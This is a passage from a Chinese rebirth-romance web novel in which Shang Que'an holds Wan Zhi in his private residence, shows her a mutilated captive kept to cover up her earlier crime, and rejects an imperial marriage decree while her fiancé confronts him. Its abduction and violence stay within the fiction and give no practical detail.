“替我收拾衣物,我回娘家小住两日,很快就会回来。”
她说的很快,自然是在濉安王妃发现后,事情暴露了,自然而然才回去。
她很忙,开始为那破败不堪千疮百孔的妧府奔前走后,越来越晚,越来越多次往外面走。
对偶尔归家的商榷安彷如视而不见。
她实在无须为那已成定局的娘家奔波,商榷安在府里多次,下人次次都会到妧枝跟前禀告。
但她始终没有求到他面前。
薛府对想方设法想要为母亲扳回一局的妧枝已经注意到了,她不知她那般行事有多惹眼。
草拟罪状,还去了趟官府,一家一户的打听与妧嵘在一起的妇人姓谁名什么。
为了不让她找到薛明烛头上,自然得多加遮掩。
回到家,心心念念的就是母亲受了多少伤害,妧酨那个没用的阿弟又撑不起那个家,无法替自己母亲姐妹出头。
还有担忧她最小的妹妹,得照看着平氏,别让她想不开寻短见。
无论下人在她跟前提多少次他,妧枝心中自然只有妧家的人才是最重要的。
他垂着眼帘,微微走神。
一直到外面有香风送进来,妧枝进了屋,看见他坐在床榻上,专门等候她的一幕。
下人为他通风报信,“大郎君,妧娘子回来了。”
商榷安抬起眸,一眼就锁定在梳洗干净的妧枝身上。
她穿着洁净的衣裳,发丝半干,面色红润带着几分沐浴后的湿润之气。
锁骨以下引人遐想,商榷安命令,“其他人都出去。”
“你过来。”
这声过来,无异是唤妧枝。
然而站在不远处,妧枝一动不动,居高临下看着他,冷若冰霜。
商榷安威胁道:“你不过来,是想我过去找你?若是如此,可就不是眼下这么简单。”
妧枝:“我方才在浴房,是你在窗边偷看我沐浴?”
她倏然问,犹如被揭破般,商榷安没有说话,一时无言且幽幽的盯视着她。
妧枝便当他是默认,耻笑道:“无耻。也不知你何时这般下作,当初那副生怕被玷污的样子呢,怎么干起这副勾当来。”
“你就不怕商唯真知道?”
当初信誓旦旦,只对商唯真好的商榷安,此刻何尝不是一种背叛。
他不再眼里只有需要被怜惜商唯真,而是映入了别的女子的身影。
甚至,他还起了欲色。
妧枝不动分毫,而商榷安从她的话中站起来,朝她接近,他从未和她正面讨论过商唯真任何事。
从前不想,今日更不想。
商榷安:“那又如何。”
他只用这一句话来对付她,然后便想上手来拉她,而妧枝根本不让他碰自己,甩开手便往一边走去。
“什么叫又如何?”
她察觉到商榷安对她亦步亦趋,像对着头顶吊着的肉垂涎欲滴的鬣狗,不肯轻易放过她。
阴影压过她头顶,商榷安将她逼到一个角落里。
妧枝回身面对,言辞犀利,“就算上辈子你我圆过房,下了榻照旧夫妻,这一世,我可没有分毫干系与你。”
“连议亲,也是你我心照不宣推拒,你想睡我?想我做你养在外面的别宅妇?然后呢?你再娶商唯真,让她做你的正房夫人?”
她美目如刀,潋滟中暴露三分锋利,逼视商榷安,要将他此刻心绪看透,看到彻底。
“你晓得我最厌恶的是什么。”
妧枝不可能做旁人豢养的女子。
妧嵘背叛平氏,对妻子不忠,若她这样不清不楚跟其他男子在一起,那她与薛明烛又有什么区别?
她不容许自己比别人低贱一分,尤其是商唯真。
上一世,与商榷安不清不楚的是他们自己,带着孩子过来无异是种挑衅。
如今身份颠倒,换做是她,怎会甘愿!
狭窄的小角落,妧枝被他圈在中间,商榷安对她俯视观察打量,眼中不仅有欲念欣赏,还有更深的摧毁欲望。
他依旧是不想和妧枝提有关商唯真的事情,而是沉声道:“那你想怎么样。”
似乎条件可以由她提。
而妧枝道:“我这一世是清白的。”
上一世的处子之身,妧枝给了商榷安。
这一世,原本是要给历常珽,若他们能顺遂成亲,那当然毫无异议。
但眼下她面临棘手的难题,商榷安更透过她的眼睛,懂了那句话的含义。
他仔细凝视妧枝,她刚沐浴完,整个人都有种清爽的馥郁,他的血液和喉咙亦感觉干烧般滚烫。
完全,或许从未忘记,他记得与妧枝床榻上细枝末节的记忆。
竟是如此清晰。
她是清白的,历常珽没有碰过她,他犹自觉得兴奋,呼吸微促两分,抿紧了唇,目色幽暗,像是在压抑自身。
“我相信你。”
妧枝冷冷勾唇,她要的可不止是相信,“然后呢?你莫不要以为,如此就可以四两拨千斤,将你阿妹的事拨走。”
“我要你解决了她,才能碰我。”
“否则……你知道我手头是染过血的。”
商榷安听着妧枝的威胁,他当然清楚妧枝做过什么,她性子烈,连妧嵘的情妇都能杀,她还有什么不敢的?
唯真又不在她眼前,她动不了手。
但她也不会让他得偿所愿。
至于如何解决,自是不要让她背负别宅妇的罪名,和他媾和在一起。
但那之后,商唯真又如何自处?
商榷安将她置于何地?
在他凝神思忖间,妧枝发丝微凉,早已感觉到不舒服,清冷而傲气地将困住她的手掀开。
商榷安视线和注意力都被她占据。
妧枝连斜睨他一眼都不曾斜睨,而是挺着胸脯,款摆着腰身向床榻衣柜走去。
她安然无恙地侧坐在一边,在拿到干净的布巾后对镜子擦拭着发丝,不苟言笑,面含冷意。
可就是这般画面,总是勾动人欲望,暗藏诱惑。
在妧枝再次向商榷安的方向余光瞥去时,他已不在这屋中。
他不知什么时候走的,妧枝的门也不像昨日那样用些桌椅挡起来。
她这样无异于默许与商榷安的关系,且抛给他一个难题。
是选择商唯真,还是选择上一世的妻。
这一夜妧枝安然度过,商榷安没有宿在她房里,但他没有避讳与妧枝亲近的心思。
在不知不觉间,他对她多了许多小动作。
“你的茶汤,试试这个。”一早,商榷安和她一同用早食。
难得的他递了一碗给她,在妧枝接过去时却包裹住她的手指,不管是举动还是眼神,都充分透露出要征服她的暗示。
妧枝挣脱不开,又不想汤洒在手上,一直等,等到商榷安握够了方才松开手。
她瞬间抽离,差点让碗掉在桌上,而商榷安反应更快,稳稳接住。
妧枝毫不介意地抽出帕子,当面擦干净手,再丢到地上。
她如今穿着用具都是商榷安的,并不疼惜。
对方深深瞧着她,商榷安眼眸黑瞋瞋一片,捉摸不透,并未见怒。
“今日想去哪儿。”
妧枝未料他竟会不再去骊山,眼尾扫过来,疑惑被捕捉到,“你还会许我走动?若我要出门呢?”
商榷安:“我告假了。”
至于出门。
他道:“在院子里转转吧,我陪你。”
妧枝嘲讽勾唇,既然不能离开这里,她又何须商榷安来陪她,她求的不过是眼不见为净。
她更加出声讽刺,甚至主动询问:“昨夜我问你的话,你打算怎么做?何时给我答案。”
商榷安逼迫她,她便也不让他好过。
“我被你掠来,名誉尽毁,你不出手动你的阿妹,还想让我服侍你,真当我会甘愿做你别宅妇人?”
商榷安依然镇定非常,在沉默的同时还能帮忙布菜。
妧枝提不起一丝食欲,继续道:“我不会给你太多时日,你留我在这一日,对我名声越不利。你若做不到,就尽快放我归去。”
她说的很有道理。
言之有物,商榷安凝神仔细认真听,待到妧枝说完,才舀了另一碗汤放在妧枝面前,容色不改,“先吃东西。”
“吃完再说。”
妧枝闻言,脸色瞬间惊变。
第66章 赐婚。
“你莫不是,心里放不下她,想要两女共侍一夫吧?”
妧枝咄咄逼人,十分谨慎。
她话语一出,室内当即一静,不管是在此伺候的下人,还是守在门口的下属,都为之一震。
商榷安道:“这与唯真没有什么干系。”
妧枝立时坐直了身子,“哪里无关?”
她眼睛闪烁着指责和嘲弄,未免二人重生的秘密被暴露,凑近了些,说的小声而尖锐,“你难道不是一直想娶她吗?上辈子你就怪我占了她的位置,你逼我喝下避子汤,洞房夜也要为她守贞,更后来还将她养在外面。”
“怎么,难道就因为上一世她沦落到那种地步,所以这辈子你也要我尝她尝过的滋味,成为别人的外室?”
商榷安看着她一言不发。
妧枝却认定就是如此,她气息怆然,苍凉一笑:“原来你这么恨我?可我不会让你们好过。”
“我不会让你如愿的。”她眸中透出恨意,眉目明艳,那么扭曲的神情,狰狞又如焰火,在商榷安眼中带刺而灼热。
妧枝不再和商榷安说话了,她退开些距离,也带走了丝丝香气,白无瑕疵的秀容回到原位,整个人又恢复安静和秀婉的模样。
焉能瞧得出刚才凑那么近,吐气如兰冷冷威胁的人是她?
商榷安对她的渴望更递增一分,他只说:“你想得太多了。”
妧枝听了,不再像刚才有那么大反应。
她听出商榷安是在搪塞和敷衍她,不愿与她讨论对商唯真的安排。
她了然无趣,不再瞥商榷安一眼,而是犹自拿起筷子,一点一点吃起来。
一直等到妧枝吃完,商榷安已经填饱了肚子,却还是看着她有意拖慢速度,消磨他的心思。
他本以为会因此不悦,但对妧枝,他的耐心出乎意料的好一些。
“晚食可有什么想吃的?”他有闲心问起这个。
妧枝:“你不放我走,迟早有一天常珽和我阿母会找上门来。”
她放下筷子宣告,然后面无表情起身,不愿再与商榷安待在一间屋子里。
手上递过去的软帕被无视掉,商榷安不甚介意地垂下眼帘,然后收回袖中。
他信步跟上妧枝,如同跟在猎物身后一样。
而身前的人无论是快还是慢,都摆脱不掉他。
妧枝冷着脸,四处闲逛着,不期望和商榷安距离太近,但也不好走得太过僻静。
她担心商榷安会对她动手,那双眼睛盯着她时,欲色总是无边无尽。
上辈子商榷安都不曾有这么明显,那是一个男子渴望一个女子赤条而裸露的目光,占有和势在必得。
而她不能让他得逞,常珽是她的未来夫婿,她这一世总算遇到两情相悦的良人。
不用再战战兢兢给人做被冷漠以待的大夫人。
妧枝心情慌乱,那闲庭信步的脚步声在她耳畔犹如魔音,昭示着对方可怕的存在。
她当然不能让商榷安破了她的贞洁。
就在妧枝避之不及不想让商榷安跟着她,四处乱走时,忽而背后的脚步声似乎停下。
妧枝未曾回头,反倒加快脚步,直到尽头再没有别的路,她提着一口气,往回看了一眼。
意外的是,方才不远不近老跟着她的商榷安却消失不见。
她在原地站定,附近是高高的围墙,没有树木供她攀越,且这里的屋子气氛古怪,周围都没有人来,不像前面开阔且干净。
庭院幽深,此处不仅草木无人打理,连个人影都没有。
妧枝心中有一丝不祥的预兆,不知等来她的是什么,干脆提步离去,趁此机会找找其他出路。
然而当她真正要走时,背后的屋子里却突地发生动静。
一声刺耳的异响接连出现在她耳边,妧枝登时顿住脚步,朝着响动处看去。
那道宛若指甲在不停刮磨房门和冲撞的动静让她禁不住定睛打量,直到下一刻一道影子仿若突然出现,透过封闭的门窗缝隙,睁大骇然的眼睛对她观察。
妧枝猝不及防对上那双失控大睁的恐怖眼珠,心中兀地一跳,情不自禁后退半步。
然而不过一瞬间,她好像看清了那里面关着的是什么东西。
一个活着的人,不知什么原因似乎失去了言语的能力,即使冲着她沙哑叫唤,亦只能透过努力张开的嘴,时而闪过的动作方能分辨。
妧枝不敢冒然接近,愣在原地半晌。
她从前对商榷安实则说不上了解,乃至他在朝堂的作为和作风,妧枝只曾听闻未曾亲眼见过。
更想不到,他在宅子里还关了这样的人,是囚犯还是得罪过他,被他动用过私刑?
她不由地想的更深,她一路慌张往里面走,只为躲避商榷安。
他是否知情她去了不该去的地方,让她有意发现这个,好给她一个最好安分些的警告。
若是不听话,她的下场也许和这些人一样。
“妧娘子。”
忽然,背后有人喊她,妧枝阒然扭头,只见商榷安的下属竟是不知从什么时候起跟来,在附近悄悄凑近,“妧娘子,此处不是你该来的地方。”
妧枝皱眉面对枕戈,以为是发现了商榷安什么不得了的秘密,因此跑来劝诫她的。
“既然不该,那就放我出去,否则他这座宅子,可困不住我半步。”
妧枝没觉得稀罕,她对商榷安的私事没有一点兴趣。
然而枕戈道:“这,不是这个意思。只是担心里面关着的人惊扰了娘子……”
妧枝冷冷瞥过去,问:“你们郎君还敢私自刑讯?真是个好臣子,看来根本不将本朝律法放在眼里。”
枕戈用一种莫测和透着深意的目光忽而古怪的看着她。
妧枝:“难道我说的有错?他将我掠来此处,害我未婚夫及家里人担忧,他若是有良心,就该让我走。”
“妧娘子……”
熟料,枕戈道:“大郎君,他都是为了您啊。”
妧枝误以为幻听,语句忽定。
然而枕戈却让开到一旁,“妧娘子若是不信,你去看看吧,只是可要小心些,免得叫里面的伤着你。”
妧枝心头疑惑加深,倍感莫名。
里头的人与她有什么干系,枕戈却说商榷安是为了她?
妧枝犹疑,冷着脸朝那间藏了人的屋子走去。
在刚才露出眼睛的地方,妧枝对着小孔看去,只见里面空空荡荡,只有一道影子呆坐在地上,不顾肮脏,衣着好似多日未换,却能从那乌糟的形象中看出一些异样。
发现外面来人,有眼睛在观察自己,里面的人忽然动了起来,向妧枝爬来。
她惊骇发现原来她听见的异响,不只是对方挠门,而是拖着双腿撞击房门的动静,“啊……啊……”
来人口不能言,高高扬起的脖颈露出好大一条蜈蚣般丑陋的伤痕,双手高举似是要借助凳子爬到窗前跟妧枝可怖对视。
十指拼命想抓住她一样,露出被拔光的指甲,狰狞的血肉早已结痂成疤。
看到脖颈那道伤,妧枝宛若遭遇雷击,瞬间记忆如潮翻涌。
她猛地朝枕戈确认,“是她?”
大雨和肆意的嘲笑声,戏谑与尖叫,最后化为她手里的铜剪。
鲜血如瀑四溅,黏腻而浓臭。
妧枝抽离开那间窗户,退至一旁,任由里面的声音还在沙哑地乱叫些什么。
就听枕戈道:“薛夫人乃是丞相之女,薛宰执最小的爱女,动了她可就得罪整个薛府,还有她的已故夫家。”
“大郎君知道,妧娘子那天夜里是逼不得已,方才下此狠手,为母报仇,可到底不好跟薛府交代,为了妧娘子,大郎君命我等好生将这位处理了。”
“人,还不能死,至少,不能死在妧娘子手中。所以,暂且将人救活了,让她说不了话,十指筋断,退不能行,薛府要人时,还能给个交代。”
枕戈话中,字字都是商榷安为妧枝考虑。
然而妧枝却听出不同,商榷安的确考虑周到,薛明烛变成如今这副模样,若不是她脖子上的伤,就连是她也差点认不出。
十指连心,商榷安却连她指甲都拔了,还断了手筋脚筋,这是防止她有逃走能力,如今人不人鬼不鬼的囚禁于此,本该保守秘密,又为何偏偏让她知情?
如此雷霆手段,是想让她欠他恩情,还是用做要挟,将来她若不肯答应他任何条件,就将人还回薛府。
届时就都知道,薛明烛是在她手上出了事,遭了大难,妧枝罪不可恕,连累整个妧家都要替她一起受罪。
枕戈在让妧枝看过屋中情形后,上前挡住里面朝外窥探的视线,他出声劝,“不管娘子在想什么,我倒是有一句话想说。”
“大郎君对娘子……和别的到底不一样,大郎君没有别的恶意,还请妧娘子不要怪罪了他。”
妧枝一时不语。
枕戈:“此地不宜久留,娘子还是快回去吧。”
妧枝沉默着,面色发凉且复杂地看了屋子最后一眼,即刻离开这里。
薛明烛竟然还活着。
商榷安帮了她手中却握着她的把柄。
他们称得上是同流合污,而商榷安明显更棋高一着。
今日或许他是故意让她发现薛明烛存在的?
难怪她提及商唯真,他却有恃无恐避而不谈,若她始终不答应与他无媒苟合,是否真的会以薛明烛来威胁她?
妧枝往回走着,有些分不清来时的路。
到了一个交叉口处,伺候过她的婢女来寻,发现在路口处的妧枝,疾步上前来将她扶住,“娘子去哪儿了,大郎君吩咐,若你逛好了园子就多歇歇,可别累着了。”
妧枝:“他呢?”
婢女见她头一次追问大郎君下落:“大郎君有事出门了,妧娘子有什么事,可回屋等他,指不定大郎君很快就能回来了。”
雅正的屋中,香炉点燃熏香。
光影明亮,映衬着坐在书桌旁的女子身影姣好而宁静。
商榷安站在她身旁,和商唯真静默相对。
异父异母的兄妹二人不再像从前一样,商唯真近来短短一两日,似乎流干了她这些年最多的泪。
她打破沉默,双手捧起从骊山带回来的旨诏,问商榷安:“圣上赐婚于你我,阿兄,不接旨吗?”
第67章 发现。
商唯真从行宫下了山,在昨日商榷安去了院子看她,面对一夜未归的商榷安,见到他白日里出现,还依旧在骊山伴驾。
商唯真在他出现的那一刻悄然松了口气。
这证明她阿兄还记得正事,他们还在骊山伴驾,夜里亦有可能的确是去办事了。
然而在看过她脚上的伤后,商榷安道:“唯真,收拾东西吧。”
商唯真惊讶的看着他。
“你受了伤,在山中不好休养,我送你下山。”
商榷安:“京都还有要务,枢密院不能没有长官,圣上也已经准许我先行回城。”
“……”
是隔壁那个女子一走,兄长就要跟着离开,还是真的有政务要忙,商唯真在那一刻不确定了。
回到京都城内,商唯真步入濉安王府,商榷安却言有事处理,于是又一夜没回书行居。
看着宝箱里带回来的旨诏,商唯真终于没忍住,踏出最后一步。
她面对商榷安,打量今日的他,“阿兄这两日都宿在外面,从哪里来的?”
“我前日问了张贵妃,说她阿兄刑部的张大人,都说近来朝廷在休沐,公式不多,否则圣人也不会选择在这个时期去骊山避暑。”
商榷安:“怎么问这么多?刑部和枢密院非同一机构,处理事务不同,不可一概而论。”
他语气颇好。
但商唯真依旧想要知道答案,“我只想要知晓,阿兄夜不归宿,都睡在何处?这些都不能问吗?”
“还是阿兄有了别人,不好和我说?”
她定定看着商榷安,商榷安不见心虚羞愧之色,而是冷静回视商唯真。
“是谁?”商唯真心沉到最底。
“是她对不对?”
“阿兄,你为了她竟能做到如此地步,那我呢?”
被从竹庄接到京都来时,商唯真以为商榷安察觉到了她的心意,愿意回应她的真心。
可不过短短数月,情况竟与她想的天壤之别。
难道她这些时日感受到的情意是假?商榷安竟对着别人移情别恋?
“你我从未有变。”
商榷安:“从前是如何,今后还是如此。”
他未曾瞒过商唯真,她会察觉亦是正常。
然而商唯真并不满意,“从前今后又有什么区别,难道你要我永远做你阿妹?”
“你明知道,我对你……我以为阿兄你对我也是一样,你说过要陪我一辈子。”
商榷安观她情绪激动,耐着性子平静安抚,“所以我说,你永远是我阿妹,我对你不会变。”
商唯真反应化为不可置信。
他从她手中拿过那卷旨诏,未曾打开看一眼。
反倒是道:“张绪之妹在后宫为妃,一直想为张家和她兄助力,她想拉拢你。”
“唯真,不要和朝堂其他人牵扯过度,这份旨诏,我替你退了去。”
他那模样,冷静到残忍,仿佛商唯真在与张贵妃是在胡闹。
他纵容,却也利落做下选择。
沉静而深沉的眼睛,是商唯真看不透却清楚感受到划清界限的情绪,“你永远是我妹妹。”
“我不要做你阿妹!”
即使商榷安说还会向从前那样如此,商唯真依旧不肯满足。
她一直在等,等商榷安会打破他们的身份说要娶她。
明明感觉就快了。
是妧枝,是那个表里不一的女子,商唯真沉默而挣扎地看着商榷安对外吩咐,如何将这份旨诏退回骊山。
将一切的错都归咎在他人身上。
商榷安回眸,看到的就是商唯真魂不守舍失落至极的样子。
该说的话,他已经说了。
他挣扎过,的确本不该对妧枝动情,但事情已经脱离他的掌控,他唯一能许诺唯真的,只有会像从前那样对她好。
不管是她要嫁人,还是一辈子不嫁,在他职责之内都会照顾她。
“好生养伤,过几日我再来看你。”
即使夺了旨诏,商榷安依然温声交代,他见此处商唯真不再有什么需要,也许独处一会儿更好。
于是从房中出去。
那妧枝在他私宅内并不安分,其本身也是个不稳定的存在,商榷安更不放心将她丢置在那里。
然而在商榷安走后,商唯真好似心中难受。
一时泣不成声,呆坐在地上捶打自己的心口,婢女一声声担忧安抚,即使传到外面,也始终不见再有人进来。
商榷安出了府,在马车中打量手中的盒子,并未即刻交到下人手中,似是另有安排。
等到了街道巷口,人群最繁华处,忽然有人当街拦下他的马车。
车夫乃是枢密院下属,装扮轻简,却士气凛冽,锐利看向对面,“来者何人,为何阻挠?”
一条大街上车马来往,都是错开有秩序的经过,唯独对面却直接挡住他们的去路。
只见一道人影从车中站出来,迎面直上看着商榷安的队伍,眉头紧蹙,审视非常,“让你们大人出来,本官要见他。”
里面商榷安可以清楚听见历常珽的声音。
他找上前来,要与商榷安当面对峙。
枢密院的下属不肯听令,“原来是历大人,还请大人海涵,在下是密使大人的手下,只有密使大人有吩咐,方才听令,其余人等,可没有权利指挥枢密院的人。”
历常珽观察着对面情况,冷声道:“既然如此,那就别怪本官失礼了。”
他豁然跳下车,朝着商榷安这边的车马走来。
枢密院下属倏地起身,同样下去要将他拦住,“历大人这是做什么?同朝为官,见到上官应当恭敬行礼才是,为何这样不敬。”
“历大人,你再往前一步,冒犯了密使大人,在下可要不客气了。”
历常珽将对方威胁置之不理,他带的人也过来当前,两边队伍将这条街上目光都吸引过来,原本热闹的大街为了看清发生了什么事,连嘈杂的声音都少了不少。
“本官不过是想问你家密使大人一些私事,寻求解惑,难道密使大人是见不得人吗?”
历常珽盯着马车内,言辞比往日多了些许犀利。
只见内里的窗帘微动,似被风轻轻吹起。
而一道低沉冰冷的嗓音道:“历郡王好大的排场,当街阻拦本官,造成拥堵,若有人员伤亡,此番责任看来郡王是想一人承担了。”
接着,商榷安这边的下属派人上前驱散看见此景想凑热闹的百姓。
历常珽向马车更进一步道:“我来找你要人,你若不想与我谈论,今日我便不会与你善罢甘休。”
车中人称赞,“郡王好气魄。”
话声微顿,也有一丝寒芒夹杂其中,冷然回应,“那就请郡王上来说话了。”
历常珽上了马车,两边人手不约而同有了新的动作。
只见挡在车前的马夫将其调转方向,而后面的马车见状,亦驱使马匹跟上,有边走边谈的架势。
街道中不再有这样针锋相对的场面,却留下数不清的锦瀚郡王与密使大人不和的谈资。
在一处河岸旁,两辆马车同时前后停住。
历常珽直视车中稳坐不动的身影,他上来就见商榷安好整以暇正对着他,那即使平起平坐也缺乏感情的冷目,从他上来后就呈现居高临下的态度。
历常珽在他冷漠的注视中,沉声道:“阿枝在何处。”
商榷安静静一言不发,傲然以对。
历常珽再控制不住,“你把她藏到哪儿去了?”
商榷安:“你如何肯定是我将她带走。”
“你自己未过门的妻子,竟也看不住么?”
历常珽冷静打量他,面对商榷安的出言嘲讽,他有理有据道:“我送她下山那日,行宫的人都道,你那天也回了都城里。”
“其次,你与阿枝并非不熟,我虽不知你们之间发生了什么,却看得出你对她态度非同小可。你有什么目的应当心里清楚。”
“最后,你阿妹说你近来很古怪,夜不归宿,白日行宫伴驾,夜里却不在骊山,即便回了都城也不在府中。”
“商榷安,不必再装了,即便你否认也无用,而今这世上能这般针对阿枝的人,再无别人只有你。”
一道掌声暌违响起。
商榷安出言夸道:“不愧是郡王,能有如此奇思妙想,看来工部并非没有人才,只是不在审查司倒是可惜了。”
“你……少再左顾言它。”
在下一刻,历常珽道完后,商榷安下颔微抬,顶着阴郁眼眸,彷如深渊,“妧枝不见,你连她人都看不住,纵使定亲,又有何用?”
“你来寻我,又有何用?”
他背靠座椅,在马车中气定神闲,且凌人冷漠的模样,让历常珽眉头压的更深,一时无法评判他到底是否背后主谋。
然而这几日查探的情况和他掌握的线索来说,定然与商榷安脱不了干系。
“我只想知道,你明明拒了与妧家的亲事,为何又不肯放过她。她哪里得罪你了?”
提起此话,商榷安显得异常沉默。
就在历常珽以为得不到答案时,商榷安奇异地看着他道:“你不该来问我。”
“我与她的关系,不是你所能干预的。”
他更加漠然且高深地反问:“她难道没有告诉过你,我与她之间,曾比任何人都更亲密么?”
此话仿佛一道惊雷,在历常珽心中炸响。
商榷安的态度,如同他今日找来,是在自取其辱。
而商榷安更有资格谈及妧枝,相比较而言,历常珽不过是他们当中的外人。
他连他们之间丝毫过往都一无所知,有什么资本来找他质问?
若要谈及妧枝于商榷安的意义。
“她的存在就是一种错误。”
她更不该出现在他眼中。
在短暂静默后,历常珽已经更加确信妧枝就在商榷安手上,只是不知他将人藏身在何处。
他虽心中震撼,却明白商榷安就是想有恃无恐,让他清楚他与妧枝的关系非比寻常。
是以才毫无顾忌,根本不惧他发现什么端倪。
得到的答案无果,历常珽准备离开此地,与其继续费这些口舌,还是加紧救出妧枝要紧。
她一个女子,待在心怀不轨的商榷安身边越久,就越危险。
“若是让我找到她,或是让她有丝毫损失,我历常珽发誓,这一生都将与伤害她的人为敌。密使大人,莫要以为你在京都城内,就可以只手遮天……”
历常珽走时下了最后通牒。
商榷安独坐在车内,分毫未有一丝影响,如若在等放马过来,冷峻目送他离开。
第68章 有所表态。
历常珽回到妧府,先给为长女失踪而担心的平氏报了个信。
“世母,我已有阿枝下落了。”
平氏连日失去丈夫,眼下能依靠的女儿不见了,即使是对历常珽除了打起精神,几乎没有笑脸可言。
“阿枝?她现在何处?”平氏问,屋中妧酨妧柔都聚集在母亲身旁,期望地看着和姐姐有婚约的男子。
然而,历常珽罕见沉默,片刻后道:“具体在何处,我手下人还在搜寻,可以确定她还在京都城里,还请世母多给我两日时机,应当很快就能救阿枝出来了。”
平氏:“救?是不是阿枝有危险了,怎么会有人这么害她?”
这听起来的确匪夷所思。
平氏瞧着与商榷安也是毫无交集的样子,整个妧家从开始与濉安王府议亲,商榷安都出面不多,根本没成事。
真正议亲的对象乃是他的弟弟们,未料想,最后却是他把人藏起来了。
他对妧枝动的心思,令人无法苟同。
是见色起意,还是心怀不轨已久,难以琢磨。
但可以肯定,他想要独占妧枝的心思不假,甚至不畏惧历常珽找上门。
此话暂且还不能与平氏等说,以免他们知晓后,更加着急。
且为了妧枝名声着想,历常珽无论如何也不能将这盆脏水往她身上泼。
“阿枝处境如何,还不能做太多定论,只能尽量在她遭遇不测前,将她尽快挽救回来。其余的,等她回来再说。”
平氏听着,历常珽的话有安抚人心之力,也有道理,她点点头,“那我再多派些人去找,你若用得上他们,尽管吩咐吧。”
她将府里的下人交给他,历常珽也不客气收下。
他看向一旁的妧酨妧柔,一得知长姐出事,妧酨这几日连学馆都没去。
他今夜成了罪臣之子,往日的官学都不再接收他,只能转为私学,历常珽帮他托了人,找了位先生,才能继续读书。
私底下,二人还算颇有联系。
在历常珽看向他以后,妧酨走过来道:“常珽阿兄,我,我也认识一些走街串巷的子弟,请他们帮忙打听我阿姐消息,若有人看见她了,定会跑来告诉我。”
“若是常珽阿兄去找,我想跟你一起……”
历常珽道:“好,一有你阿姐的消息,我会叫人带你过去,但在家中你还是要照顾好你母亲和妹妹。你阿姐在的话,定然也想看到你为她分忧。”
此话让妧酨郑重点头,不在原来的官学以后,他身边多是平民子弟,气氛倒比从前和善。
但也有所差别,那里头既有玩世不恭之人,也有气氛好学的学生,却都没有看他唯唯诺诺,曾经在官学待过就欺负他。
许是听说他家里遭了难,近来倒还安慰他,眼看着他气色渐佳,人前也稍微敢抬头挺胸了。
就在此时,历常珽派出去的下属有了回信,“郡王,有人发现妧娘子的踪迹了。”
京都城内,想找人,时而如石沉大海,时而仿佛冥冥中注定,又有几分运气。
历常珽派去的人里,找到了他记忆中前往过的私宅。
那是唯一一个叫历常珽有预感会有妧枝的存在。
曾经,他想出手买下那座宅子,然而屋主人却拒绝了。
若商榷安的确是将妧枝掠到了那,那说明他实在是蓄谋已久,而非一时兴起了。
妧枝不曾总待在屋子里。
商榷安不在,她对所在的私宅没有丝毫心安之感,这不是她的归属,她的家是与平氏弟妹在一起的家。
将来,她和历常珽也会有个新家。
婢女跟在她身旁,为了防止她私自逃离,一直寸步不离。
妧枝没有放弃,她的遮掩无用,想离开这里的心思所有人都心知肚明,她若什么都不做才会令人生疑。
只是出了院子,去了前庭,妧枝方才觉得这个地方有了一丝熟悉感。
这竟是她数月前曾来看过的宅子,因要价之高,妧枝为此典当了她的嫁妆。
事后被历常珽知悉,于是带她去看了其他新宅。
不曾想她看过的屋宅的主人居然是商榷安。
他可知晓她当时想购置这座房产?上辈子妧枝管着大房的账簿,但商榷安的私账却是他本人在做,未施予旁人接触的权利。
妧枝也就对他的资产一无所知,她根本不知他还有这样的房子,当年商唯真从濉安王府搬出去,商榷安是否就将她安置在这?
想到自己所待的许是这二人曾经的爱巢,妧枝眼中冷意更甚了。
“妧娘子,前面不能再去了。”
婢女适时地出言提醒,妧枝停下脚步,她知道一日窥探不完,且她刚想起这里是在何处,也就不再那么好奇着急想要出去。
突然,远处另一道声音对旁人道:“前面的,走错了,这里不是你该来的地方。”
妧枝顺着方向抬起头,目光追逐一个下人打扮的身影,府里的护卫正在警戒,同时告知误闯的下人哪些地方不能擅闯。
婢女也被吸引,同时说:“昨日送菜的菜农生病了,换了他儿子来,是个莽撞的,连哪里不许进都不知道。”
妧枝对那一幕感到平常,但是不经意却与对方对上目光,虽不认识,但那陌生的眼睛却盯着她好一会,这才在护卫示意下,一步三回头的往外走。
她疑惑,且保持着清醒,不曾声张。
心中的犹疑却越来越重了。
她在家门口消失,平氏这时不知该多着急,为了她的清誉,兴许一时不会马上报官。
但若迟迟不出现,总会求助于其他人。
历常珽肯定会得到消息,立马从骊山行宫下来找她,刚才所见,会是他派来的人吗?
妧枝没有打草惊蛇,静静注视着来人被护卫赶走,然后院子恢复清净,而在婢女提醒中,她也从前院走回了房。
天色将近黄昏,霞光日丽,不管树叶还是屋檐下的庭院里,都被镀上温暖的橙光。
早上说了告假,结果一整个白日都未再出现的商榷安,终于从外面回来了。
妧枝独站在庭中,盯着前面假山旁的池水,仿佛正在出神。
商榷安朝她走近,目光落在那道窈窕身影,脚步越发轻巧无声。
然而在他在妧枝背后站定伸手间,面前的女子十分自然地回身朝他警惕地看来,明显不想他碰。
商榷安上前,悬在半空的手拐了个方向,去轻碰妧枝脸颊边的鬓发和耳垂,即使引起她的不悦,依然问道:“在想什么?”
妧枝往后微仰,想要躲开商榷安的手,却被他强制按住削肩,他抬起了她的下颔,指腹轻抚略带一丝顺滑,揉过她面颊。
虽然面无表情,气势清冷,眼里藏着的幽深欲望却让人避不开它。
男子与女子的力量无法一概而论,光是搭在她肩上的手,妧枝便感觉到沉重起来,商榷安不是手无缚鸡之力的文弱之人。
他好似特意请了有武艺的人习过武,懂得些拳脚功夫,只是光看他眉若刀裁,俊面如玉的面孔时,如若被骗了。
他本身的力道便很大,揉入要捏碎她一般。
妧枝为了不让他碰,搭上他的手腕,想将他扯开,但不过蜉蝣之力,甚至只在对方手上留下一片温柔而细腻的触感。
叫人眼眸一暗。
“你去哪儿了。”不得已,妧枝问。
商榷安:“唯真找我,她腿受了伤,叫我去看她。”
他没有隐瞒,显然在他把控之下,追问他下落的妧枝叫商榷安感到满意,于是为表诚意,他也将自己今日行踪告诉给她听。
妧枝当即皱眉,看他的眼神犹如不解,更有冷意,“看来你已在我和她之间做了选择。”
“什么时候放我离开?天色不早,我此时出府还能看清回家的路,就不送了。”
她也不用收拾行李,本就是被掠来的,身无一物,妧枝向右要走。
却被商榷安抓住衣袖,四目相对,商榷安在原地纹丝不动,指尖用力,令她挣脱不开,方才问道:“谁告诉你,我选择了她?”
妧枝惊讶不已。
她没想到权宜之计,让商榷安去动商唯真,竟叫他雷厉风行。
他怎会没有一丝犹豫?
商榷安:“我这两日没有看她,她有些不安,今日正好也是与她说清楚,日后如何自处。她若要嫁人,我还会以兄妹相待。她若不肯,我也会另寻他人将她好生照顾。”
